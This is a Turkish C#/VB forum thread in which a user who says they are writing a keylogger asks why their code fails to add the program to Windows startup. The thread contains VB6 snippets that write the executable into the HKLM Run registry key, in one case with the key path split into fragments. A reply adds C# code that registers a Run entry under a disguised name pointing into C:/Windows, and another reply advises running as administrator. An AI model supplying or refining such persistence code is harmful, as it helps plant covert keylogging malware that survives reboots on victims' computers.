C#, Asp.Net, .Net Core
Programı Sistem Başlangıcına Ekleme Kodu Neden Çalışmıyor?
Programı Sistem Başlangıcına Ekleme Kodu Neden Çalışmıyor?
-
Mrb arkadaşlar keylog yazıyorum ve bir sorun yaşıyorum.
İnternette bir vdeo gördüm arkadaş kodlamanın en altına
Private Function basla()
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOC" & "AL_MACHINE\SO" & "FTWARE\MICRO" & "SOFT\WINDOWS\CUR" & "RENTVERSION" & "\" & "RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
End Function
______________________
kısmında bir satır ekledi ve programı çalıştırdığı anda msconfig ayarlarında başlangıç programları kısmına program eklendi.Yani registery kayıt edildi.
Ancak ben herşeyi yapmama rağmen programı çalıştırdığım anda registerye kayıt etmior ve msconfigte gözükmüyor.
Sorun ne olabilir?
internette başka bir kod baktım aynı kodun farklı bir şeklini denedim
internette araştırma yapıp kodu şu şekildede ekledim.Aşağıdaki gibi denedim gene olmadı.
Kod:
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"xp başlangıcına eklemek içindir.__________________________
Sorun nedir acaba
Yardımcı olan arkadaşlara şimdiden çok tşk ederim.
-
- string programindosyaadi = System.AppDomain.CurrentDomain.FriendlyName;
- RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true);
key.SetValue("Daradal", "C:/Windows/" + programindosyaadi + "");
ben bu kodu kullanıyorumda 1 hafta çalıştı sonra çalışmadı nedense windows 7 de xp de sorunsuz çalışıyor windows 7 de başlatmıyor programı update falan mı geldi ne oldu bilmiyorum.
-
Denedim, sağ tıklayıp yönetici olarak çalıştırırsan çalışıyor kodlar
UAC Onayını direk exeye ekleyebilirsin:
http://www.codeproject.com/Articles/17968/Making-Your-Application-UAC-Aware